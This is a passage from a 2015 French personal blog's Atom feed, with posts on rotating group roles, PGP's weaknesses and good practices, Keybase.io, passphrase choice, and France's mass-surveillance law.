</content></entry><entry><title>Rôles</title><link href="https://blog.notmyidea.org/roles.html" rel="alternate"></link><published>2015-06-29T00:00:00+02:00</published><updated>2015-06-29T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-06-29:/roles.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Un […] dispositifconsiste à tenter de faire bouger les rôles (pré)acquis
ou qui se fixent dans le groupe, les pousser ailleurs que là où ils ont
pris lhabitude de se réfugier suivant leur pente « naturelle ».&lt;/p&gt;
&lt;p&gt;Pour ce faire, le groupe prendra du temps pour identifier les types de …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Un […] dispositifconsiste à tenter de faire bouger les rôles (pré)acquis
ou qui se fixent dans le groupe, les pousser ailleurs que là où ils ont
pris lhabitude de se réfugier suivant leur pente « naturelle ».&lt;/p&gt;
&lt;p&gt;Pour ce faire, le groupe prendra du temps pour identifier les types de
positions quadoptent ses protagonistes et les affects qui y sont liés,
imaginer ensuite des questions à résoudre ou des propositions à travailler
qui soient susceptibles denrichir la palette, les couleurs de la fonction
de chacun dans le groupe et les manières qui sont les siennes dintervenir
et de faire évoluer lhistoire.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;David Vercauteren, &lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role"&gt;Micropolitiques des groupes&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Réussir la transformation d'un espace compétitif vers un groupe soudé demande
de réaliser quels sont les points forts de chacun au sein d'un groupe.&lt;/p&gt;
&lt;p&gt;Une solution évoquée par &lt;a class="reference external" href="http://www.starhawk.org/about/"&gt;StarHawk&lt;/a&gt;, reprise
par &lt;em&gt;David Vercauteren&lt;/em&gt; repose sur l'existence de rôles informels au sein des
groupes et la nécessité de les faire tourner (ainsi que les responsabilités
attachées).&lt;/p&gt;
&lt;p&gt;Parmi les rôles principaux, quelques autres citations:&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;l'emphase est de mon fait, et je retravaillé très legèrement certains
passages afin d'avoir une lecture plus fluide. Je vous invite à suivre
les liens pour voir les &amp;quot;questions que chaque rôle fait exister&amp;quot;, et
poursuivre la lecture du livre, qui est entièrement disponible en
ligne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id1"&gt;
&lt;h2&gt;&lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_0"&gt;Les corbeaux&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Les Corbeaux sont visionnaires […] Ils voient à long terme, et gardent en
ligne de mire les objectifs du groupe. Ils suggèrent de nouvelles directions,
dressent des plans, développent des stratégies et anticipent les problèmes et
les besoins.&lt;/p&gt;
&lt;p&gt;Les Corbeaux ont souvent beaucoup dinfluence sur le groupe. Si une ou deux
personnes pensent à des plans au long-terme, les autres acquiesceront,
simplement parce quils nont pas amené dautres propositions. &lt;strong&gt;Le groupe
aurait intérêt à considérer ensemble les questions du Corbeau&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h2&gt;&lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_1"&gt;Les graces&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Les Grâces sont toujours attentives à lénergie du groupe, prêtes à la
renforcer au moment où elle faiblit, à la diriger et à la canaliser quand
elle est forte.&lt;/p&gt;
&lt;p&gt;Elles apportent au groupe […] enthousiasme, énergie, capacité
à sagrandir. &lt;strong&gt;Elles font en sorte que les gens se sentent bien&lt;/strong&gt;, génèrent de
lenthousiasme pour le groupe, accueillent les nouveaux venus, amènent de
nouvelles personnes. Elles offrent au groupe linspiration et génèrent de
nouvelles idées.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h2&gt;&lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_2"&gt;Les dragons&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Le dragon permet au groupe de rester connecté à […] laspect pratique et
réaliste des choses. […] Le dragon veille aux ressources du groupe, à ses
frontières et donne voix à ses limites.&lt;/p&gt;
&lt;p&gt;Questions que fait exister le dragon:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Notre manière de travailler est-elle viable ?&lt;/li&gt;
&lt;li&gt;Nos ressources sont-elles renouvelées ?&lt;/li&gt;
&lt;li&gt;Les gens sépuisent-ils ? Pourquoi ?&lt;/li&gt;
&lt;li&gt;Pouvons-nous vraiment nous lancer dans ce projet et le mener à bien
convenablement ?&lt;/li&gt;
&lt;li&gt;De quelles frontières avec lextérieur avons-nous besoin et voulons-nous
?&lt;/li&gt;
&lt;li&gt;Comment établissons-nous ces frontières ? Comment nous protégeons-nous
des intrusions ? Invasions ? Distractions ? De ce qui épuise nos énergies
?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Les Dragons établissent des frontières qui donnent au groupe un sentiment
de sécurité et des limites qui le rendent viable dans le temps&lt;/strong&gt;. Ils peuvent
être perçus comme des rabat-joie, mais ils peuvent gagner lestime de ceux
qui, dans le groupe, se sentent dépassés et ne peuvent partager lénergie
des Corbeaux et des Grâces.&lt;/p&gt;
&lt;p&gt;Nourrir les Dragons peut permettre au groupe de se maintenir dans le temps.
Mais une fois encore, si ce rôle ne tourne pas, même les Dragons risquent
de sépuiser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="id4"&gt;
&lt;h2&gt;&lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_3"&gt;Les araignées&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Le centre dun groupe peut consister en un « cœur spirituel », &lt;strong&gt;un but ou une
vision commune&lt;/strong&gt;, ou peut se manifester à travers une personne. Dans les modes
de pensée hiérarchique, le professeur ou le gourou occupe le centre du
réseau. […]&lt;/p&gt;
&lt;p&gt;Dans les groupes non-hiérarchiques, certaines personnes peuvent être perçues
comme centrales : en disposant des informations dont les autres ont besoin,
en étant le point de contact pour les autres.&lt;/p&gt;
&lt;p&gt;Une Araignée est toutefois plus efficace en ne monopolisant pas la
communication et les informations mais en posant les questions susceptibles
de créer et de renforcer un véritable réseau dinteractions complexes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="id5"&gt;
&lt;h2&gt;&lt;a class="reference external" href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_4"&gt;Les serpents&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Les serpents cultivent une attention particulière à la manière dont les gens
se sentent. […]&lt;/p&gt;
&lt;p&gt;Les serpents sont au courant de ce qui se murmure dans les couloirs, des
conflits naissants, et les mettent sur la place publique, là où ils
pourraient aider à une médiation, à une résolution du problème. […]&lt;/p&gt;
&lt;p&gt;Les serpents transgressent les lois du Censeur, &lt;strong&gt;parlent des non-dits, mettent
en évidence ce que dautres ne voient pas ou préfèrent garder caché&lt;/strong&gt;. […]&lt;/p&gt;
&lt;p&gt;Les serpents peuvent diminuer lantipathie dont ils font lobjet sils
prennent la peine de poser des questions au groupe et non dapporter des
analyses.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ainsi, il est possible de se rendre compte de la complexité et de l'importance
d'une position ou d'une autre, et de les faire évoluer ensemble, en prenant en
compte leur impact positif sur le groupe.&lt;/p&gt;
&lt;p&gt;Il est par exemple possible, après avoir expérimenté des rôles, de questionner
leur pertinence et d'établir des pistes d'amélioration en enlevant une part
importante d'affect personnel qui parfois empêche des discussions
constructives.&lt;/p&gt;
&lt;p&gt;Je n'ai pour l'instant pas pu expérimenter l'évolution des rôles au sein d'un
groupe donné, mais je peux d'ores et déjà me rendre compte que selon les
groupes et selon les moments je n'ai pas le même rôle (tour à tour dragon,
araignée et grace, parfois corbeau, rarement serpent)&lt;/p&gt;
&lt;p&gt;Aussi, il semble que le groupe doive souhaiter l'établissement d'un
environnement &lt;em&gt;horizontal&lt;/em&gt;, avec une considération partagée de la direction que
le groupe souhaite prendre pour qu'un tel dispositif ait du sens.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Les problèmes de PGP</title><link href="https://blog.notmyidea.org/les-problemes-de-pgp.html" rel="alternate"></link><published>2015-05-25T00:00:00+02:00</published><updated>2015-05-25T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-25:/les-problemes-de-pgp.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Flip a bit in the communication between sender and recipient and they will
experience decryption or verification errors. How high are the chances they
will start to exchange the data in the clear rather than trying to hunt down
the man in the middle?&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://secushare.org/PGP"&gt;http://secushare.org/PGP&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une fois …&lt;/p&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Flip a bit in the communication between sender and recipient and they will
experience decryption or verification errors. How high are the chances they
will start to exchange the data in the clear rather than trying to hunt down
the man in the middle?&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://secushare.org/PGP"&gt;http://secushare.org/PGP&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une fois passé l'euphorie du &amp;quot;il faut utiliser PGP pour l'ensemble de nos
communications&amp;quot;, j'ai réalisé lors de discussions que PGP avait plusieurs
problèmes, parmi ceux-ci:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Les &lt;em&gt;meta données&lt;/em&gt; (y compris le champ &amp;quot;sujet&amp;quot; de la conversation) sont quand
même échangées en clair (il est possible de savoir qu'un message à été échangé
entre telle et telle personne, a telle date);&lt;/li&gt;
&lt;li&gt;PGP se base sur un protocole de communication qui est lui non chiffré, et il
est donc facile de soit se tromper, soit dégrader le mode de conversation vers
une méthode non chiffrée;&lt;/li&gt;
&lt;li&gt;Il est facile de connaître votre réseau social avec PGP, puisque tout le
principe est de signer les clés des personnes dont vous validez l'identité;&lt;/li&gt;
&lt;li&gt;En cas de fuite de votre clé privée, tous les messages que vous avez chiffrés
avec elle sont compromis. On dit que PGP ne fournit pas de &lt;em&gt;forward secrecy&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;La découverte de la clé de pairs se passe souvent &lt;em&gt;en clair&lt;/em&gt;, sans utiliser une
connexion &amp;quot;sécurisée&amp;quot; (HTTPS). Tout le monde peut donc voir ces échanges et
savoir de qui vous cherchez la clé;&lt;/li&gt;
&lt;li&gt;Les discussions de groupes sont très difficiles: il faut chiffrer pour chacun
des destinataires (ou que ceux-ci partagent une paire de clés).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je suis en train de creuser à propos les alternatives à PGP, par exemple &lt;a class="reference external" href="https://pond.imperialviolet.org/"&gt;Pond&lt;/a&gt;, qui lui ne construit pas par dessus un
standard déjà établi, et donc n'hérite pas de ses défauts (mais pas non plus de
son réseau déjà établi).&lt;/p&gt;
&lt;p&gt;En attendant, quelques bonnes pratiques sur PGP ;)&lt;/p&gt;
&lt;div class="section" id="bonnes-pratiques"&gt;
&lt;h2&gt;Bonnes pratiques&lt;/h2&gt;
&lt;p&gt;Il est en fait assez facile d'utiliser PGP de travers. Riseup à fait &lt;a class="reference external" href="https://help.riseup.net/en/security/message-security/openpgp/best-practices"&gt;un
excellent guide&lt;/a&gt;
qui explique comment configurer son installation correctement.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;J'en ai déjà parlé, mais il faut absolument choisir des phrases de passes
suffisamment longues. Pas facile de les retenir, mais indispensable. Vous
pouvez aussi avoir un document chiffré avec une clé que vous ne mettez jamais
en ligne, qui contiens ces phrases de passe, au cas ou vous les oubliez.&lt;/li&gt;
&lt;li&gt;Générez des clés RSA de 4096 bits, en utilisant sha512;&lt;/li&gt;
&lt;li&gt;Il faut utiliser une date d'expiration de nos clés suffisamment proche (2
ans). Il est possible de repousser cette date si nécessaire, par la suite.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Parmi les choses les plus frappantes que j'ai rencontrées:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Utiliser le &lt;em&gt;flag&lt;/em&gt; &lt;cite&gt;hidden-recipient&lt;/cite&gt; avec PGP pour ne pas dévoiler qui est
le destinataire du message;&lt;/li&gt;
&lt;li&gt;Ne pas envoyer les messages de brouillons sur votre serveur, ils le seraient
en clair !;&lt;/li&gt;
&lt;li&gt;Utilisez HPKS pour communiquer avec les serveurs de clés, sinon tout le
trafic est en clair.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le &lt;a class="reference external" href="https://bitmask.net/"&gt;projet Bitmask&lt;/a&gt; vise lui à rendre les outils de
chiffrement d'échanges de messages et de VPN simples à utiliser, encore quelque
chose à regarder.&lt;/p&gt;
&lt;p&gt;Enfin bref, y'a du taf.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Travail et créativité</title><link href="https://blog.notmyidea.org/travail-et-creativite.html" rel="alternate"></link><published>2015-05-21T00:00:00+02:00</published><updated>2015-05-21T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-21:/travail-et-creativite.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Low-risk, low-pressure, and love: The 3 rules of side projects.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://open.bufferapp.com/side-projects-creative-hobbies/"&gt;The science of side projects&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne m'étais jamais fais la remarque, mais les projets dont je suis le plus
fier sont effectivement des &lt;em&gt;side projects&lt;/em&gt;. Des projets que j'ai commencé
parce que j'en avais l'envie et le temps, qui …&lt;/p&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Low-risk, low-pressure, and love: The 3 rules of side projects.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://open.bufferapp.com/side-projects-creative-hobbies/"&gt;The science of side projects&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne m'étais jamais fais la remarque, mais les projets dont je suis le plus
fier sont effectivement des &lt;em&gt;side projects&lt;/em&gt;. Des projets que j'ai commencé
parce que j'en avais l'envie et le temps, qui n'étaient bien souvent que des
envies passagères.&lt;/p&gt;
&lt;p&gt;Il est arrivé que quelqu'un m'ait demandé de le faire, et que j'y prenne du
plaisir, ou que je le fasse simplement pour moi et que d'autres y trouvent leur
compte, mais il s'agit nécessairement de projets non &lt;em&gt;commandités&lt;/em&gt; par l'extérieur.&lt;/p&gt;
&lt;p&gt;Encore un signal dans la direction du travailler moins, cette fois ci pour
être plus créatif.&lt;/p&gt;
&lt;img alt="Soupa'Soups." src="https://blog.notmyidea.org/images/soupasoups.jpg" /&gt;
</content></entry><entry><title>Simplifier les preuves d'identités</title><link href="https://blog.notmyidea.org/simplifier-les-preuves-didentites.html" rel="alternate"></link><published>2015-05-11T00:00:00+02:00</published><updated>2015-05-11T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-11:/simplifier-les-preuves-didentites.html</id><summary type="html">&lt;p&gt;L'un des problèmes non réellement résolu actuellement quant au chiffrement des
échanges est lié à l'authenticité des clés. Si quelqu'un décide de publier une
clé en mon nom, et en utilisant mon adresse email, cela lui est assez facile.&lt;/p&gt;
&lt;p&gt;Il est donc nécessaire d'avoir des moyens de prouver que la …&lt;/p&gt;</summary><content type="html">&lt;p&gt;L'un des problèmes non réellement résolu actuellement quant au chiffrement des
échanges est lié à l'authenticité des clés. Si quelqu'un décide de publier une
clé en mon nom, et en utilisant mon adresse email, cela lui est assez facile.&lt;/p&gt;
&lt;p&gt;Il est donc nécessaire d'avoir des moyens de prouver que la clé publique que
j'utilise est réellement la mienne.&lt;/p&gt;
&lt;p&gt;Traditionnellement, il est nécessaire de faire signer ma clé publique par
d'autres personnes, via une rencontre en personne ou des échanges hors du
réseau. C'est par exemple ce qui est réalisé lors des &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Key_signing_party"&gt;Key Signing parties&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une manière simple d'effectuer ces vérifications serait, en plus de donner son
adresse email, sa signature de clé, ou a minima de donner un mot clé pour
valider que les échanges proviennent bien de la bonne personne.&lt;/p&gt;
&lt;p&gt;PGP propose un mécanisme de signature des clés d'autrui, une fois celles ci
validées, ce qui permet de placer sa confiance dans les signataires de la clé.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://keybase.io"&gt;Keybase.io&lt;/a&gt; est un service qui vise à rendre la création
de ces preuves plus facile, en partant du principe qu'il est possible
d'utiliser différents moyens afin de prouver l'identité des personnes. Par
exemple, leurs comptes Twitter, GitHub ou leurs noms de domaines. De la même
manière qu'il est possible de signer (valider) les clés de nos amis, il est
possible de les &amp;quot;tracker&amp;quot; selon le jargon de keybase.&lt;/p&gt;
&lt;p&gt;Donc, en somme, &lt;em&gt;Keybase.io&lt;/em&gt; est un annuaire, qui tente de rendre plus facile la
création de preuves. Bien.&lt;/p&gt;
&lt;div class="section" id="quelques-points-d-ombre"&gt;
&lt;h2&gt;Quelques points d'ombre&lt;/h2&gt;
&lt;p&gt;Il s'agit d'une &lt;em&gt;startup&lt;/em&gt; américaine, domiciliée dans le Delaware, qui se trouve être
un des paradis fiscaux qui &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Delaware"&gt;est connu pour être un paradis fiscal au coeur
même des États-Unis&lt;/a&gt;. Je ne veux pas
faire de raccourcis trop rapides, bien évidemment, alors &lt;a class="reference external" href="https://github.com/keybase/keybase-issues/issues/1569"&gt;j'ai ouvert un ticket
sur GitHub pour en savoir plus&lt;/a&gt; (après tout, le fait
d'être un paradis fiscal permet peut-être d'échapper à certaines lois sur la
requêtes de données). D'autant plus étonnant, la startup n'a pour l'instant &lt;a class="reference external" href="https://github.com/keybase/keybase-issues/issues/788"&gt;pas
de *business model*&lt;/a&gt;
(ce qui en un sens est assez rassurant, même si on peut se poser la question de
pourquoi faire une startup dans ces cas là).&lt;/p&gt;
&lt;p&gt;Le service (bien qu'en Alpha), n'est pas mis à disposition sous licence libre,
ce qui pour l'instant empêche quiconque de créer son propre serveur Keybase.
&lt;a class="reference external" href="https://github.com/keybase/"&gt;Une partie des composants, cependant, le sont (open source)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J'ai du mal à croire en des initiatives qui veulent sauver le monde, mais dans
leur coin, je ne comprends pas pourquoi il n'y à pas de documentation sur
comment monter son propre serveur, ou comment les aider à travailler sur la
fédération. Mais bon, c'est pour l'instant une initiative encore fraîche, et je
lui laisse le bénéfice du doute.&lt;/p&gt;
&lt;p&gt;Sur le long terme, une infrastructure comme &lt;em&gt;Keybase.io&lt;/em&gt;, devra évidemment être
&lt;a class="reference external" href="https://github.com/keybase/keybase-issues/issues/162"&gt;distribuée&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;We've been talking about a total decentralization, but we have to solve
a couple things, synchronization in particular. Right now someone can
mirror us and a client can trust a mirror just as easily as the server at
keybase.io, but there needs to be a way of announcing proofs to any server
and having them cooperate with each other. We'd be so happy to get this
right.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://chris.beams.io/posts/keybase/"&gt;Chris Coyne, co-founder of Keybase&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Afin de se &amp;quot;passer&amp;quot; de leur service centralisé, les preuves générées (qui sont
la force du système qu'ils mettent en place) pourraient être exportées sur des
serveurs de clés existants. C'est quelque chose &lt;a class="reference external" href="https://github.com/keybase/keybase-issues/issues/890"&gt;qu'ils souhaitent réaliser .&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bref, une initiative quand même importante et utile, même si elle soulève des
questions qui méritent qu'on s'y attarde un brin.&lt;/p&gt;
&lt;p&gt;Par ailleurs, &lt;a class="reference external" href="https://leap.se/nicknym"&gt;d'autres projets qui visent des objectifs similaires&lt;/a&gt; existent, via le projet LEAP, mais je n'ai pas
encore creusé.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Phrases de passe et bonnes pratiques</title><link href="https://blog.notmyidea.org/phrases-de-passe-et-bonnes-pratiques.html" rel="alternate"></link><published>2015-05-09T00:00:00+02:00</published><updated>2015-05-09T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-09:/phrases-de-passe-et-bonnes-pratiques.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Au contraire des autres mots de passe, les mots de passe cryptographiques
ont specifiquement besoin d'être longs et extremement difficiles à deviner.
La raison est qu'un ordinateur (ou un cluster de plusieurs ordinateurs)
peut être programmé pour faire des trillions d'essais de manière
automatique. Si le mot de passe choisi …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Au contraire des autres mots de passe, les mots de passe cryptographiques
ont specifiquement besoin d'être longs et extremement difficiles à deviner.
La raison est qu'un ordinateur (ou un cluster de plusieurs ordinateurs)
peut être programmé pour faire des trillions d'essais de manière
automatique. Si le mot de passe choisi est trop faible ou construit d'une
manière trop prédictible, cette attaque par la force pourrait se revéler
fructueuse en essayant toutes les possibilités.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices"&gt;The Electronic Frontier Foundation&lt;/a&gt; (traduction de mon fait)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comprendre les concepts et l'écosystème qui permettent d'avoir une vie
numérique chiffrée n'est pas quelque chose d'aisé. &lt;a class="reference external" href="https://emailselfdefense.fsf.org/fr/"&gt;Plusieurs&lt;/a&gt; &lt;a class="reference external" href="http://www.controle-tes-donnees.net/outils/GnuPG.html"&gt;guides&lt;/a&gt; ont été écrits à ce
propos, et pour autant je me rends compte que naïvement il est possible de
mal utiliser les outils existants.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Utilisez un &lt;em&gt;bon&lt;/em&gt; mot de passe pour votre session utilisateur et une
&lt;em&gt;bonne&lt;/em&gt; phrase de passe pour proteger votre clé privée. Cette phrase de
passe est la partie la plus fragile de tout le système.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;La page de manuel de GPG.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une phrase de passe devrait:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Être suffisamment longue pour être difficile à deviner;&lt;/li&gt;
&lt;li&gt;Ne pas être une citation connue (littérature, livres sacrés etc);&lt;/li&gt;
&lt;li&gt;Difficile à deviner même pour vos proches;&lt;/li&gt;
&lt;li&gt;Facile à se souvenir et à taper;&lt;/li&gt;
&lt;li&gt;être unique et non partagée entre différents sites / applications etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une des techniques consiste à utiliser des mots du dictionnaire, sélectionnés de
manière aléatoire, puis modifiés.&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="XKCD sur la force des mots de passe." src="https://imgs.xkcd.com/comics/password_strength.png" /&gt;
&lt;/div&gt;
&lt;p&gt;Micah Lee &lt;a class="reference external" href="https://github.com/micahflee/passphrases"&gt;travaille également sur un outil&lt;/a&gt; qui vise à rendre la mémorisation
des phrases de passe plus aisée, de par leur répétition avec des pauses de plus
en plus longues.&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="Capture d'écran du logiciel de génération et de mémorisation des phrases de passe." src="{filename}/static/passphrases.png" /&gt;
&lt;/div&gt;
&lt;p&gt;Oui, ce n'est pas aussi simple que ce qu'il y parait. Pour ma part, j'ai une
copie en local de mes clés, dans un fichier chiffré avec une autre clé que j'ai
généré pour l'occasion et que je ne partagerait pas. J'ai par ailleurs
&lt;a class="reference external" href="https://github.com/jamessan/vim-gnupg"&gt;configuré&lt;/a&gt; mon éditeur de texte pour
pouvoir chiffrer les documents textes par défaut.&lt;/p&gt;
&lt;p&gt;J'ai donc regénéré une nouvelle fois mes clés de travail et personnelles, en
utilisant des phrases de passe plus complexes.&lt;/p&gt;
&lt;p&gt;Reste encore la question de la sauvegarde de ces clés privées de manière
chiffrée, que je n'ai pas encore résolue. Bref, tout cela me semble bien
compliqué pour réussir à l'expliquer à des novices, qui pour certains ne sont
même pas sur de l'intérêt de la chose.&lt;/p&gt;
</content></entry><entry><title>Chiffrement</title><link href="https://blog.notmyidea.org/chiffrement.html" rel="alternate"></link><published>2015-05-08T00:00:00+02:00</published><updated>2015-05-08T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-08:/chiffrement.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;En france, depuis le 5 Mai 2015, il est possible au Premier Ministre de
surveiller massivement et sans contrôle la population française.&lt;/p&gt;
&lt;p&gt;le projet de loi n'a pas été significativement amendé en séance mi-avril,
et ses dispositions dangereuses ont été conservées :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Élargissement des finalités du renseignement, permettant une &lt;strong&gt;potentielle
mise …&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;En france, depuis le 5 Mai 2015, il est possible au Premier Ministre de
surveiller massivement et sans contrôle la population française.&lt;/p&gt;
&lt;p&gt;le projet de loi n'a pas été significativement amendé en séance mi-avril,
et ses dispositions dangereuses ont été conservées :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Élargissement des finalités du renseignement, permettant une &lt;strong&gt;potentielle
mise sous surveillance de pans entiers de la vie politique, syndicale,
militante&lt;/strong&gt;, mais aussi économique, scientifique, etc. ;&lt;/li&gt;
&lt;li&gt;Légalisation massive de pratiques illégales des services de
renseignement et &lt;strong&gt;introduction de techniques de surveillance de masse
des communications électroniques&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Absence de contrôle réel et indépendant&lt;/strong&gt; a priori par la future
CNCTR, et recours des citoyens illusoires ;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://www.laquadrature.net/fr/lassemblee-nationale-vote-la-surveillance-de-masse-des-citoyens-francais"&gt;La Quadrature du Net - L'Assemblée nationale vote la surveillance de
masse des citoyens français !&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je m'étonne que &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/R%C3%A9v%C3%A9lations_d%27Edward_Snowden"&gt;les révélations d'Edward Snowden&lt;/a&gt; — qui
ont démontré que la plupart des communications électroniques et téléphoniques
pouvaient être scrutés par la NSA, l'agence de sécurité Américaine) — ne
fassent pas plus de remous que ça.&lt;/p&gt;
&lt;p&gt;À peine deux années après ces révélations, la France fait passer une loi qui
légitime cette surveillance de masse, à plus de 77% des voies. Pour moi c'est
un signal fort de la perte de valeurs de notre démocratie, et à fortiori de ma
perte de foi en notre forme de démocratie.&lt;/p&gt;
&lt;p&gt;Notre liberté d'expression se voit bien évidemment amputée de par la
surveillance généralisée. Sans avoir nécessairement à cacher mes échanges, ce
qui est de la sphère privée devrait pouvoir le rester.&lt;/p&gt;
&lt;p&gt;De toute manière, l'email comme on l'utilise traditionnellement est une
hérésie: toutes les parties qui traitent le message peuvent le lire,
(destinataire, auteur et corps du message entre autres). Il est grand temps de
rendre les outils de chiffrement plus simples et ergonomiques.&lt;/p&gt;
&lt;p&gt;Je compte donc:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Organiser des ateliers de sensibilisation aux outils de communication, envers
mes proches;&lt;/li&gt;
&lt;li&gt;Utiliser la communication chiffrée le plus souvent possible, au moins pour
rendre le déchiffrement des messages plus longue, &amp;quot;noyer le poisson&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si vous êtes intéressé(e)s, faites moi signe, je me ferais un plaisir de vous
expliquer ce qui n'est pas si complexe et vise à laisser dans la sphère privée
ce qui devrait l'être à priori.&lt;/p&gt;
&lt;p&gt;Une manière simple de se protéger est d'installer Thunderbird avec Enigmail et
de le configurer correctement. Ce n'est pas très compliqué et permet d'avoir
des échanges chiffrés. &lt;a class="reference external" href="https://emailselfdefense.fsf.org/fr/"&gt;Référez vous à ce guide&lt;/a&gt; pour des instructions pas à pas.&lt;/p&gt;
&lt;p&gt;La clé publique pour me contacter est &lt;a class="reference external" href="/static/alexis.notmyidea.org.asc"&gt;0x078805D867F56F12&lt;/a&gt;. Et
vous ?&lt;/p&gt;
